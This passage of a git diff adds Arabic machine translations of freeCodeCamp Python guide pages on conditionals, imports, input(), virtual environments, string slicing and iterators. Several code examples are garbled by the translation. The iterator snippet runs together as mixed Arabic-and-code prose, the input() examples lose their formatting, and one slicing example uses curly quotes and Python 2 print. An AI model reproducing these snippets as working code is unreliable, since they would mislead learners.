+  print("The condition wasn't true!") #this statement executes 
+` 
+
+_لاحظ أنه لا يوجد شرط يتبع الكلمة الأساسية `else` - فإنه يضبط جميع الحالات التي يكون فيها الشرط `false`_
+
+يمكن التحقق من الشروط المتعددة من خلال تضمين واحد أو أكثر من شيكات `elif` بعد العبارة الأولية `if` تنفيذ شرط واحد فقط:
+
+ `z = 7 
+ 
+ if z > 8: 
+  print("I won't print!") #this statement does not execute 
+ elif z > 5: 
+  print("I will!") #this statement will execute 
+ elif z > 6: 
+  print("I also won't print!") #this statement does not execute 
+ else: 
+  print("Neither will I!") #this statement does not execute 
+` 
+
+_ملاحظة فقط الشرط الأول أن يقيم كما `true` سيتم تنفيذ. على الرغم من أن `z > 6` `true` ، فإن كتلة `if/elif/else` تنتهي بعد أول شرط حقيقي. هذا يعني أنه سيتم تنفيذ أمر `else` فقط إذا لم تكن أي من الشروط `true` ._
+
+يمكننا أيضا إنشاء متداخلة إذا كان لصنع القرار. قبل السابق يرجى الرجوع إلى href = 'https: //guide.freecodecamp.org/python/code-blocks-and-indentation' target = '\_ blank' rel = 'nofollow'> دليل المسافة البادئة مرة واحدة قبل السابقة.
+
+لنأخذ مثالاً على العثور على رقم أكبر من "10"
+
+ `python 
+ x = 34 
+ if x %  2 == 0:  # this is how you create a comment and now, checking for even. 
+  if x > 10: 
+    print("This number is even and is greater than 10") 
+  else: 
+    print("This number is even, but not greater 10") 
+ else: 
+  print ("The number is not even. So point checking further.") 
+` 
+
+كان هذا مجرد مثال بسيط للتداخل. لا تتردد في استكشاف المزيد عبر الإنترنت.
+
+في حين أن الأمثلة المذكورة أعلاه بسيطة ، يمكنك إنشاء شروط معقدة باستخدام [المقارنات](https://guide.freecodecamp.org/python/comparisons) [المنطقية والعوامل المنطقية](https://guide.freecodecamp.org/python/boolean-operations) .
+
+**_مضمنة python if-else statement_**
+
+يمكننا أيضًا استخدام عبارات if-else في وظائف python المضمنة يجب أن يتحقق المثال التالي إذا كان الرقم أكبر من أو يساوي 50 ، إذا كانت الإجابة نعم صحيح:
+
+ `python 
+ x = 89 
+ is_greater = True if x >= 50 else False 
+ 
+ print(is_greater) 
+` 
+
+انتاج |
+
+ `> 
+ True 
+ > 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/import-statements/index.md b/client/src/guide/arabic/python/import-statements/index.md
new file mode 100644
index 0000000000..07ac453fd0
--- /dev/null
+++ b/client/src/guide/arabic/python/import-statements/index.md
@@ -0,0 +1,97 @@
+---
+title: Python Import Statements
+localeTitle: بيثون استيراد البيانات
+---
+أثناء تعلم البرمجة وقراءة بعض الموارد كنت قد صادفت هذه الكلمة "التجريد" والتي تعني ببساطة للحد من وإعادة استخدام التعليمات البرمجية قدر الإمكان.
+
+وظائف ووحدات تسهل التجريد. يمكنك إنشاء وظائف عندما تريد القيام بشيء بشكل متكرر داخل ملف.
+
+تأتي الوحدات في الصورة عندما تريد إعادة استخدام مجموعة من الوظائف في ملفات مصدر مختلفة. الوحدات مفيدة أيضًا في هيكلة البرنامج بشكل جيد.
+
+*   استخدام المكتبات القياسية والوحدات الأخرى التابعة لجهات خارجية:
+*   هيكلة البرنامج
+
+## استخدام المكتبات القياسية
+
+مثال: يمكنك الاطلاع على طرق / وظائف جميع المكتبات القياسية في محررات بيثون الرسمية بالتفصيل.
+
+ `import time 
+ for i in range(100): 
+    time.sleep(1)   # Waits for 1 second and then executes the next command 
+    print(str(i) + ' seconds have passed')  # prints the number of seconds passed after the program was started 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CS6C)
+
+ `# To calculate the execution time of a part of program 
+ import time 
+ start = time.time() 
+ # code here 
+ end = time.time() 
+ print('Execution time:' , end-start) 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CS6C/1)
+
+ `# Using math Module 
+ import math 
+ print(math.sqrt(100))   # prints 10 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CS6C/2)
+
+## استخدام وحدات طرف ثالث
+
+لا تأتي وحدات الطرف الثالث مجمعة مع python ، ولكن يتعين علينا تثبيتها خارجيًا باستخدام مديري الحزم مثل برنامج [`pip`](https://bootstrap.pypa.io/get-pip.py) [`easy install`](https://bootstrap.pypa.io/ez_setup.py)
+
+ `# To make http requests 
+ import requests 
+ rq = requests.get(target_url) 
+ print(rq.status_code) 
+` 
+
+تعرف على المزيد حول وحدة طلبات الأيونات [هنا](http://docs.python-requests.org/en/master/)
+
+## لتركيب البرامج
+
+نحن نريد أن نجعل من برنامج يحتوي على وظائف مختلفة فيما يتعلق بالأرقام الأولية. دعنا نبدأ. `prime_functions.py` جميع الوظائف في `prime_functions.py`
+
+ `# prime_functions.py 
+ from math import ceil, sqrt 
+ def isPrime(a): 
+    if a == 2: 
+        return True 
+    elif a % 2 == 0: 
+        return False 
+    else: 
+        for i in range(3,ceil(sqrt(a)) + 1,2): 
+            if a % i == 0: 
+                return False 
+        return True 
+ 
+ def print_n_primes(a): 
+    i = 0 
+    m = 2 
+    while True: 
+        if isPrime(m) ==True: 
+            print(m) 
+            i += 1 
+        m += 1 
+        if i == a: 
+            break 
+` 
+
+الآن نريد أن استخدام وظائف أننا بإنشائه في `prime_functions.py` لذلك نحن إنشاء ملف جديد `playground.py` لاستخدام تلك الوظائف.
+
+> _يرجى ملاحظة أن هذا البرنامج بسيط للغاية لجعل ملفين منفصلين ، فقط للتدليل. ولكن عندما تكون هناك برامج معقدة كبيرة ، فإن إنشاء ملفات مختلفة مفيد حقًا._
+
+ `# playground.py 
+ import prime_functions 
+ print(prime_functions.isPrime(29)) # returns True 
+` 
+
+## فرز الواردات
+
+وتتمثل الممارسة الجيدة في تصنيف وحدات `import` في ثلاث مجموعات - استيراد المكتبات القياسية ، واردات الأطراف الثالثة ذات الصلة ، والواردات المحلية. داخل كل مجموعة ، من المنطقي فرز الحروف أبجديًا حسب اسم الوحدة. يمكنك العثور على [مزيد من المعلومات في PEP8](https://www.python.org/dev/peps/pep-0008/?#imports) .
+
+من أهم الأمور بالنسبة إلى لغة Python هي الوضوح ، ووحدات الفرز الأبجدي هي أسرع في القراءة والبحث. كما أنه من الأسهل التحقق من استيراد شيء ما وتجنب الواردات المتكررة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/index.md b/client/src/guide/arabic/python/index.md
new file mode 100644
index 0000000000..60d7ed69cc
--- /dev/null
+++ b/client/src/guide/arabic/python/index.md
@@ -0,0 +1,174 @@
+---
+title: Python
+localeTitle: الثعبان
+---
+## ما هي بايثون؟
+
+[بايثون](https://www.python.org) هي لغة برمجة عامة الغرض ، يتم كتابتها وتفسيرها ديناميكيًا وتعرف بسهولة قراءتها مع مبادئ التصميم الرائعة.
+
+لمعرفة المزيد عن Python ، راجع هذه الصفحات على python.org:
+
+[ما هي بايثون؟](https://www.python.org/doc/essays/blurb/)
+
+[بيثون أسئلة وأجوبة](https://docs.python.org/3/faq/general.html) .
+
+## Python 2 أو Python 3
+
+*   النسختان متشابهتان ، مع معرفة تحويل واحد إلى رمز الكتابة للآخر سهل.
+*   [Python 2 أو Python 3](https://wiki.python.org/moin/Python2orPython3)
+    *   [لن يتم الحفاظ على بيثون 2.x بعد عام 2020.](https://www.python.org/dev/peps/pep-0373/)
+    *   3.x قيد التطوير النشط. هذا يعني أن جميع تحسينات المكتبة القياسية الأخيرة ، على سبيل المثال ، لا تتوفر إلا بشكل افتراضي في Python 3.x.
+    *   لقد جمعت أنظمة بيثون البيئية كمية كبيرة من برامج الجودة على مر السنين. الجانب السلبي من كسر التوافق إلى الوراء في 3.x هو أن بعض من هذا البرنامج (وخاصة البرامج الداخلية في الشركات) لا يزال لا يعمل على 3.x حتى الآن.
+
+## التركيب
+
+معظم أنظمة التشغيل المعتمدة على nix تأتي مع Python المثبتة (عادة Python 2، Python 3 في أحدثها). استبدال نظام بايثون غير مستحسن وقد يسبب مشاكل. ومع ذلك ، يمكن تثبيت إصدارات مختلفة من بايثون بأمان جنبا إلى جنب مع نظام بايثون. انظر [بايثون الإعداد والاستخدام](https://docs.python.org/3/using/index.html) .
+
+لا يأتي Windows مع Python ، حيث يمكن العثور على برنامج التثبيت والإرشادات [هنا](https://docs.python.org/3/using/windows.html)
+
+## بايثون مترجم
+
+مترجم Python هو ما يستخدم لتشغيل برامج Python النصية.
+
+إذا كان متاحًا وفي مسار البحث في Unix shell ، فمن الممكن بدء تشغيله عن طريق كتابة الأمر `python` متبوعًا باسم البرنامج النصي سيستدعي المترجم وتشغيل النص البرمجي.
+
+`hello_campers.py`
+
+ `print('Hello campers!') 
+` 
+
+من المحطة:
+
+ `$ python hello_campers.py 
+ Hello campers! 
+` 
+
+"عندما يتم تثبيت إصدارات متعددة من Python ، فإن الاتصال بها حسب الإصدار ممكن اعتمادًا على تكوين التثبيت. في بيئة مخصصة لـ Cloud9 IDE ، يمكن استدعائها مثل:
+
+ `$ python --version 
+ Python 2.7.6 
+ $ python3 --version 
+ Python 3.4.3 
+ $ python3.5 --version 
+ Python 3.5.1 
+ $ python3.6 --version 
+ Python 3.6.2 
+ $ python3.7 --version 
+ Python 3.7.1 
+` 
+
+## بايثون Interpreter الوضع التفاعلي
+
+يمكن بدء الوضع التفاعلي عن طريق استدعاء مترجم Python باستخدام العلامة `-i` أو بدون أية وسائط.
+
+يحتوي الوضع التفاعلي على موجه حيث يمكن إدخال أوامر Python وتشغيلها:
+
+ `$ python3.5 
+ Python 3.5.1 (default, Dec 18 2015, 00:00:00) 
+ GCC 4.8.4 on linux 
+ Type "help", "copyright", "credits" or "license" for more information. 
+ >>> print("Hello campers!") 
+ Hello campers! 
+ >>> 1 + 2 
+ 3 
+ >>> exit() 
+ $ 
+` 
+
+## زن بيثون
+
+يتم تضمين بعض المبادئ التي أثرت في تصميم بايثون كبيض عيد الفصح ويمكن قراءتها باستخدام الأمر داخل الوضع التفاعلي لمترجم Python:
+
+ `>>> import this 
+ The Zen of Python, by Tim Peters 
+ 
+ Beautiful is better than ugly. 
+ Explicit is better than implicit. 
+ Simple is better than complex. 
+ Complex is better than complicated. 
+ Flat is better than nested. 
+ Sparse is better than dense. 
+ Readability counts. 
+ Special cases aren't special enough to break the rules. 
+ Although practicality beats purity. 
+ Errors should never pass silently. 
+ Unless explicitly silenced. 
+ In the face of ambiguity, refuse the temptation to guess. 
+ There should be one-- and preferably only one --obvious way to do it. 
+ Although that way may not be obvious at first unless you're Dutch. 
+ Now is better than never. 
+ Although never is often better than *right* now. 
+ If the implementation is hard to explain, it's a bad idea. 
+ If the implementation is easy to explain, it may be a good idea. 
+ Namespaces are one honking great idea -- let's do more of those! 
+` 
+
+## إيجابيات وسلبيات بيثون
+
+### الايجابيات
+
+1.  لغة تفاعلية مع دعم وحدة لكل الوظائف تقريبًا.
+2.  المصدر المفتوح: إذن ، يمكنك المساهمة في المجتمع ، والوظائف التي طورتها للاستخدام في المستقبل ولمساعدة الآخرين
+3.  وهناك الكثير من المترجمين الفوريين وأجهزة الكمبيوتر المحمولة المتاحة لتجربة أفضل مثل دفتر jupyter.
+
+#### سلبيات
+
+1.  كونها مفتوحة المصدر ، تطورت العديد من الطرق المختلفة على مدار العام لنفس الوظيفة. هذا في بعض الأحيان ، يخلق الفوضى للآخرين لقراءة شخص آخر رمز.
+2.  إنها لغة بطيئة. لذلك ، لغة سيئة للغاية لاستخدامها لتطوير الخوارزميات العامة.
+
+## كابل بيانات
+
+[بيثون موثقة جيدا](https://docs.python.org/3/) . تتضمن هذه المستندات برامج تعليمية وأدلة ومراجع ومعلومات وصفية للغة.
+
+مرجع مهم آخر هو مقترحات تحسين بيثون ( [PEPs](https://www.python.org/dev/peps/) ). المدرجة في PEPs هو دليل الاسلوب لكتابة رمز بيثون ، [`PEP 8`](https://www.python.org/dev/peps/pep-0008/) .
+
+## التصحيح
+
+يمكن استخدام عبارات `print` المضمنة لتصحيح الأخطاء البسيطة:
+
+> **... غالبًا ما تكون أسرع طريقة لتصحيح أخطاء البرنامج هي إضافة بعض عبارات الطباعة إلى المصدر: إن دورة "تحرير - اختبار - تصحيح" سريعة تجعل هذا الأسلوب البسيط فعّالاً للغاية.**
+> 
+> \- [ملخص تنفيذي](https://www.python.org/doc/essays/blurb/)
+
+تتضمن Python أيضًا أدوات أكثر فاعلية لتصحيح الأخطاء ، مثل:
+
+*   وحدة [_تسجيل الدخول_](https://docs.python.org/3/library/logging.html) ، [_وقطع الأشجار_](https://docs.python.org/3/library/logging.html)
+*   وحدة تصحيح الأخطاء ، [_pdb_](https://docs.python.org/3/library/pdb.html)
+
+فقط لاحظ أن هذه موجودة في الوقت الحالي.
+
+## مرحبا بالعالم!
+
+وبالعودة إلى المستندات ، يمكننا أن نقرأ عن وظيفة [`print`](https://docs.python.org/3/library/functions.html#print) ، وهي وظيفة [_مدمجة في_](https://docs.python.org/3/library/functions.html) [مكتبة Python القياسية](https://docs.python.org/3/library/index.html) .
+
+ `print(*objects, sep=' ', end='\n', file=sys.stdout, flush=False) 
+` 
+
+يتم سرد الوظائف المضمنة بترتيب أبجدي. يتبع الاسم قائمة متقابلة بالمعلمات الرسمية مع القيم الافتراضية الاختيارية. تحت هذا هو وصف موجز للوظيفة وتعطى معلماته وأحيانا مثال على ذلك.
+
+تستبدل وظيفة [`print`](https://docs.python.org/3/library/functions.html#print) في Python 3 بيان [`print`](https://docs.python.org/2/reference/simple_stmts.html#print) في Python 2.
+
+ `>>> print("Hello world!") 
+ Hello world! 
+` 
+
+يتم استدعاء الدالة عندما يتبع اسم الدالة `()` . لعالم مرحبا! على سبيل المثال ، يتم استدعاء وظيفة الطباعة مع سلسلة كوسيطة للمعلمة الأولى. لبقية المعلمات يتم استخدام الافتراضات.
+
+إن الوسيطة التي أطلقنا عليها دالة `print` باستخدام كائن `str` أو _سلسلة_ ، أحد أنواع بايثون [_المضمنة_](https://docs.python.org/3/library/stdtypes.html#text-sequence-type-str) . كما أن أهم شيء عن python هو أنه لا يتعين عليك تحديد نوع البيانات أثناء إعلان متغير ، مترجم python سوف يفعل ذلك بنفسه على أساس نوع القيمة المعينة.
+
+معلمة `objects` مسبوقة بـ `*` والتي تشير إلى أن الدالة ستأخذ عددًا عشوائيًا من الوسيطات الخاصة بهذه المعلمة.
+
+## تريد معرفة المزيد؟
+
+Free Code Camp لديه بعض الموارد الرائعة. تعد الويب مكانًا كبيرًا ، وهناك الكثير لاستكشافه:
+
+*   كتاب ممارسة بيثون: http://anandology.com/python-practice-book/index.html
+*   فكر في بايثون: http://greenteapress.com/thinkpython/html/index.html
+*   بيثون للأعمال العملية: http://pbpython.com/
+*   دورة أخرى: https://realpython.com/؟utm _source = fsp & utm_ medium = promo & utm\_campaign = bestresources
+*   عام: https://www.fullstackpython.com/
+*   تعلم الأساسيات: https://www.codecademy.com/learn/learn-python
+*   علوم الكمبيوتر باستخدام Python: https://www.edx.org/course/introduction-computer-science-mitx-6-00-1x-11؟ref=hackernoon#!
+*   قائمة بمزيد من الموارد لتعلم python: https://github.com/vinta/awesome-python
+*   بيثون التفاعلية: http://interactivepython.org/runestone/static/thinkcspy/index.html
+*   دليل المطور لبيثون: https://devguide.python.org/
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/input-functions/index.md b/client/src/guide/arabic/python/input-functions/index.md
new file mode 100644
index 0000000000..441b1b526a
--- /dev/null
+++ b/client/src/guide/arabic/python/input-functions/index.md
@@ -0,0 +1,51 @@
+---
+title: Python Input Function
+localeTitle: بايثون وظيفة المدخلات
+---
+كثير من الوقت ، في برنامج نحتاج بعض المدخلات من المستخدم. أخذ المدخلات من المستخدم يجعل البرنامج يشعر بالتفاعل. في بايثون 3 ، لأخذ مدخلات من المستخدم لدينا وظيفة `input()` . إذا تم استدعاء وظيفة الإدخال ، فسيتم إيقاف تدفق البرنامج حتى يقوم المستخدم بإدخال مدخلات وقد أنهى الإدخال باستخدام مفتاح الإرجاع. دعونا نرى بعض الأمثلة:
+
+1.  عندما نريد فقط أن نأخذ المدخلات:
+    
+    # هذا سوف يعطي مجرد موجه دون أي رسالة
+    
+    inp = input ()
+    
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CUqX/0)
+
+1.  لتقديم مطالبة برسالة:
+    
+    موجه _مع_ message = input (' ')
+    
+    # \_
+    
+    # "\_" في الإخراج هو الموجه
+    
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CUqX/1)
+
+3\. عندما نريد أن نأخذ مدخلات صحيحة:
+
+ `number = int(input('Please enter a number: ')) 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CUqX/2)
+
+إذا قمت بإدخال قيمة غير صحيحة ، فستقوم Python بإلقاء خطأ `ValueError` . **لذلك عندما تستخدم هذا ، يرجى التأكد من التقاطه أيضًا.** خلاف ذلك ، سيتوقف البرنامج بشكل غير متوقع بعد المطالبة.
+
+ `number = int(input('Please enter a number: ')) 
+ # Please enter a number: as 
+ # Enter a string and it will throw this error 
+ # ValueError: invalid literal for int() with base 10 'as' 
+` 
+
+4\. عندما نريد إدخال سلسلة:
+
+ `string = str(input('Please enter a string: ')) 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CUqX/3)
+
+على الرغم من ذلك ، يتم تخزين المدخلات بشكل افتراضي كسلسلة. إن استخدام الدالة `str()` يوضح لقارئ التعليمات البرمجية أن الإدخال سيكون "سلسلة". وﻣﻦ اﻟﻤﻤﺎرﺳﺔ اﻟﺴﻠﻴﻤﺔ أن ﻧﺬآﺮ ﻣﺎ هﻮ ﻧﻮع اﻟﻤﺪﺧﻼت اﻟﺘﻲ ﺳﺘﺘﺨﺬ ﻣﺴﺒﻘًﺎ.
+
+[المستندات الرسمية](https://docs.python.org/3/library/functions.html#input)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/installing-and-using-python-3/index.md b/client/src/guide/arabic/python/installing-and-using-python-3/index.md
new file mode 100644
index 0000000000..4f318e4854
--- /dev/null
+++ b/client/src/guide/arabic/python/installing-and-using-python-3/index.md
@@ -0,0 +1,77 @@
+---
+title: Installing and Using Python 3
+localeTitle: تركيب واستخدام بايثون 3
+---
+## تثبيت بيثون 3
+
+يمكنك تنزيل بايثون من هذا [الرابط](https://www.python.org/downloads/) الرسمي. استنادًا إلى نظام التشغيل (Windows أو Linux أو OSX) ، قد ترغب في تثبيت Python 3 باتباع [هذه الإرشادات](http://docs.python-guide.org/en/latest/starting/installation/) .
+
+## باستخدام البيئات الافتراضية
+
+إنها لفكرة رائعة أن تقوم بوضع [sandbox](https://en.wikipedia.org/wiki/Sandbox_(computer_security)) لتثبيت Python الخاص بك. والاحتفاظ بها منفصلة عن _نظام بايثون_ الخاص بك. _بايثون النظام_ هو المسار إلى مترجم Python ، والذي يتم استخدامه بواسطة الوحدات النمطية الأخرى المثبتة مع نظام التشغيل الخاص بك.
+
+**ليس من الآمن** تثبيت Python Web-frameworks أو المكتبات مباشرة باستخدام _System Python_ . بدلاً من ذلك ، يمكنك استخدام [Virtualenv](https://virtualenv.readthedocs.org/en/latest/) لإنشاء عملية بيثون منفصلة وإصدارها عند تطوير تطبيقات Python.
+
+### Virtualenvwrapper
+
+تعمل [الوحدة النمطية Virtualenvwrapper على](https://virtualenvwrapper.readthedocs.org/en/latest/) تسهيل إدارة و وضع الحماية لبيئات Python sandboxed المتعددة في جهاز واحد. دون إفساد أي وحدات أو خدمات مكتوبة في بايثون ويستخدمها جهازك.
+
+وبالطبع ، فإن معظم بيئة التطوير المستضافة في السحاب مثل [Nitrous](https://www.nitrous.io/) أو [Cloud9](https://c9.io/) تأتي أيضًا مع هذه المثبتة مسبقا وجاهزة لك للحصول على الترميز! يمكنك اختيار صندوق من لوحة المعلومات بسرعة ، وبدء الترميز بعد تنشيط بيئة Python 3.
+
+في [Cloud9](https://c9.io/) ، تحتاج إلى تحديد مربع Django أثناء إنشاء بيئة تطوير جديدة.
+
+سوف يتبع بعض الأمثلة أمر shell. إذا كنت ترغب في النسخ واللصق ، فلاحظ أن علامة `$` هي اختصار لمطالب الجهاز الطرفي ، وليست جزءًا من الأمر. يبدو مطابقتها الطرفية شيئًا كالتالي:
+
+ `alayek:~/workspace (master) $ 
+` 
+
+و ، `ls` تبدو
+
+ `alayek:~/workspace (master) $ ls 
+` 
+
+ولكن أثناء كتابتي نفس الشيء في هذه الوثائق ، سأكتبها على أنها
+
+ `$ ls 
+` 
+
+بالعودة إلى مناقشتنا ، يمكنك إنشاء sandbox مضمّن في Python 3 على Cloud9 عن طريق تشغيله على جهازك السحابي:
+
+ `$ mkvirtualenv py3 --python=/usr/bin/python3 
+` 
+
+يجب عليك تشغيلها مرة واحدة فقط بعد إنشاء مربع جديد لمشروعك. بمجرد تنفيذه ، سيعمل هذا الأمر على إنشاء virtualenv جديد في وضع sandboxed جاهز للاستخدام ، يسمى `py3` .
+
+لعرض البيئات الافتراضية المتاحة ، يمكنك استخدامها
+
+ `$ workon 
+` 
+
+لتنشيط `py3` ، يمكنك استخدام الأمر `workon` باسم البيئة:
+
+ `$ workon py3 
+` 
+
+تعمل جميع الأوامر الطرفية الثلاثة المذكورة أعلاه أيضًا على أجهزة Linux المحلية أو أجهزة OSX. هذه أوامر [virtualenvwrapper](https://virtualenvwrapper.readthedocs.org/en/latest/#introduction) ؛ لذلك إذا كنت تخطط لاستخدامها ، تأكد من تثبيت هذه الوحدة وإضافتها إلى متغير `PATH` .
+
+إذا كنت داخل بيئة افتراضية ؛ يمكنك بسهولة العثور على ذلك عن طريق التحقق من مطابقتك الطرفية. سيظهر اسم البيئة بوضوح في مطابقتك الطرفية.
+
+على سبيل المثال ، عندما أكون داخل بيئة `py3` ؛ سوف أرى هذا كمطالبتي الطرفية:
+
+ `(py3)alayek:~/workspace (master) $ 
+` 
+
+لاحظ `(py3)` في الأقواس! إذا كنت لا ترى ذلك لسبب ما ، حتى لو كنت داخل بيئة افتراضية ؛ يمكنك محاولة القيام بأحد الأشياء [المذكورة هنا](http://stackoverflow.com/questions/1871549/python-determine-if-running-inside-virtualenv) .
+
+للخروج من بيئة افتراضية. أو لإلغاء تنشيط - استخدم الأمر
+
+ `$ deactivate 
+` 
+
+مرة أخرى ، يعمل هذا فقط مع وحدة virtualenvwrapper.
+
+### Pipenv
+
+بديل لاستخدام virtualenvwrapper هو [Pipenv](https://docs.pipenv.org/) . ينشئ تلقائياً بيئات ظاهرية `Pipfile` ، ويحافظ على `Pipfile` الذي يحتوي على التبعيات. استخدام Pipenv يعني أنك لم تعد بحاجة إلى استخدام النقطة و virtualenv بشكل منفصل ، أو إدارة ملف `requirements.txt` الخاص بك. بالنسبة لأولئك المطلعين على جافا سكريبت ، يشبه Pipenv استخدام أداة تغليف مثل `npm` .
+
+لبدء استخدام Pipenv ، يمكنك اتباع هذا [الدليل](https://docs.pipenv.org/install.html#installing-pipenv) المفصل للغاية. يجعل Pipenv من السهل [تحديد إصدار Python](https://docs.pipenv.org/basics.html#specifying-versions-of-python) الذي ترغب في استخدامه لكل مشروع ، [والاستيراد](https://docs.pipenv.org/basics.html#importing-from-requirements-txt) من ملف `requirements.txt` موجود [ورسم](https://docs.pipenv.org/#pipenv-graph) تبعياتك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/is-there-a-way-to-substring-a-string-in-python/index.md b/client/src/guide/arabic/python/is-there-a-way-to-substring-a-string-in-python/index.md
new file mode 100644
index 0000000000..7573fb4189
--- /dev/null
+++ b/client/src/guide/arabic/python/is-there-a-way-to-substring-a-string-in-python/index.md
@@ -0,0 +1,110 @@
+---
+title: Is There a Way to Substring a String in Python
+localeTitle: هل هناك طريقة لتدبير سلسلة في بايثون
+---
+## هل هناك طريقة لتدبير سلسلة في بايثون
+
+تقدم بايثون العديد من الطرق لاستبدال السلسلة. وغالبًا ما يطلق عليه "التقسيم".
+
+يتبع هذا القالب:
+
+ `string[start: end: step] 
+` 
+
+أين،
+
+`start` : مؤشر البداية للسلسلة الفرعية. يتم تضمين الحرف في هذا الفهرس في السلسلة الفرعية. إذا لم يتم تضمين _البداية_ ، فمن المفترض أن تساوي 0.
+
+`end` : مؤشر إنهاء السلسلة الفرعية. _لا_ يتم تضمين الحرف في هذا الفهرس في السلسلة الفرعية. إذا لم يتم تضمين _النهاية_ ، أو إذا تجاوزت القيمة المحددة طول السلسلة ، فمن المفترض أن تكون مساوية لطول السلسلة بشكل افتراضي.
+
+`step` : كل ​​حرف "خطوة" بعد الحرف الحالي ليتم تضمينه. القيمة الافتراضية هي 1. إذا تم حذف قيمة _الخطوة_ ، فمن المفترض أن تساوي 1.
+
+#### قالب
+
+`string[start:end]` : احصل على جميع الأحرف _بداية_ من الفهرس حتى _نهاية 1_
+
+`string[:end]` : الحصول على جميع الأحرف من بداية السلسلة إلى _النهاية -1_
+
+`string[start:]` : احصل على جميع الأحرف _بداية_ من الفهرس حتى نهاية السلسلة
+
+`string[start:end:step]` : احصل على جميع الأحرف من _البداية_ إلى _النهاية-1_ لتخفيض كل حرف _خطوة_
+
+#### أمثلة
+
+*   **احصل على أول 5 حروف من السلسلة**
+
+ `string = "freeCodeCamp" 
+ print(string[0:5]) 
+` 
+
+انتاج:
+
+ `> freeC 
+` 
+
+ملاحظة: تقوم `print(string[:5])` بإرجاع نفس نتيجة `print(string[0:5])`
+
+*   **الحصول على سلسلة فرعية من طول 4 من الحرف الثالث للسلسلة**
+
+ `string = "freeCodeCamp" 
+ print(string[2:6]) 
+` 
+
+انتاج:
+
+ `> eeCo 
+` 
+
+يرجى ملاحظة أن مؤشر البداية أو النهاية قد يكون رقمًا سالبًا. الفهرس السالب يعني أن تبدأ العد من نهاية السلسلة بدلاً من البداية (أي من اليمين إلى اليسار). يمثل الفهرس -1 الحرف الأخير في السلسلة ، حيث يمثل -2 الحرف الثاني إلى الأخير وما إلى ذلك ...
+
+*   **الحصول على الحرف الأخير من السلسلة**
+
+ `string = "freeCodeCamp" 
+ print(string[-1]) 
+` 
+
+انتاج:
+
+ `> p 
+` 
+
+*   **احصل على آخر 5 حروف من السلسلة**
+
+ `string = "freeCodeCamp" 
+ print(string[-5:]) 
+` 
+
+انتاج:
+
+ `> eCamp 
+` 
+
+*   **الحصول على سلسلة فرعية تحتوي على جميع الحروف ما عدا آخر 4 أحرف والحرف الأول**
+
+ `string = "freeCodeCamp" 
+ print(string[1:-4]) 
+` 
+
+انتاج:
+
+ `> reeCode 
+` 
+
+#### مزيد من الأمثلة
+
+ `str = “freeCodeCamp” 
+ 
+ print str[-5:-2] # prints 'eCa' 
+ print str[-1:-2] # prints '' (empty string) 
+` 
+
+*   **الحصول على كل شخصية أخرى من سلسلة**
+
+ `string = "freeCodeCamp" 
+ print(string[::2]) 
+` 
+
+انتاج:
+
+ `> feCdCm 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/iterators/index.md b/client/src/guide/arabic/python/iterators/index.md
new file mode 100644
index 0000000000..c814672af2
--- /dev/null
+++ b/client/src/guide/arabic/python/iterators/index.md
@@ -0,0 +1,39 @@
+---
+title: Python Iterators
+localeTitle: بايثون ايتراتورز
+---
+تدعم بايثون مفهوم التكرار على الحاويات. يتم تنفيذ ذلك باستخدام طريقتين متميزتين. يتم استخدام هذه للسماح الفئات المعرفة من قبل المستخدم لدعم التكرار.
+
+[Python Docs - Iterator Types](https://docs.python.org/3/library/stdtypes.html#iterator-types)
+
+التكرار هو عملية تكرار خطوة برمجية لعدد معين من المرات. يمكن للمبرمج استخدام التكرار لأداء نفس العملية على كل عنصر في مجموعة من البيانات ، على سبيل المثال طباعة كل عنصر في قائمة.
+
+*   يمكن أن تقوم الكائنات بتنفيذ أسلوب `__iter__()` الذي يقوم بإرجاع كائن مكرر لدعم التكرار.
+    
+*   يجب أن تنفذ كائنات التكرار:
+    
+    *   `__iter__()` : إرجاع كائن `__iter__()` .
+        
+    *   `__next__()` : إرجاع الكائن التالي للحاوية.
+        
+    
+    iterator _object = 'abc'. **iter** () طباعة (_ كائن _التكرار_ ) طباعة (id ( _كائن_ التكرار _)) print (id (iterator_ object. **iter** ())) # Returns the iterator itself. print (iterator _object. **next** ()) # Returns 1st object and advances iterator. print (iterator_ object. **next** ()) # Returns 2nd object and advances iterator. طباعة ( _كائن_ التكرار _. **التالي** ()) # إرجاع الكائن الثالث والسلف المكره. print (iterator_ object. **next** ()) # Raises StopIteration Exception.
+    
+
+انتاج :
+
+ `<str_iterator object at 0x102e196a0> 
+ 4343305888 
+ 4343305888 
+ a 
+ b 
+ c 
+ --------------------------------------------------------------------------- 
+ StopIteration                             Traceback (most recent call last) 
+ <ipython-input-1-d466eea8c1b0> in <module>() 
+      6 print(iterator_object.__next__())     # Returns 2nd object and advances iterator. 
+      7 print(iterator_object.__next__())     # Returns 3rd object and advances iterator. 
+ ----> 8 print(iterator_object.__next__())     # Raises StopIteration Exception. 
+ 
+ StopIteration: 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/itertools/index.md b/client/src/guide/arabic/python/itertools/index.md
new file mode 100644
index 0000000000..6550fb0f81
--- /dev/null
+++ b/client/src/guide/arabic/python/itertools/index.md
@@ -0,0 +1,48 @@
+---
+title: Itertools
+localeTitle: Itertools
+---
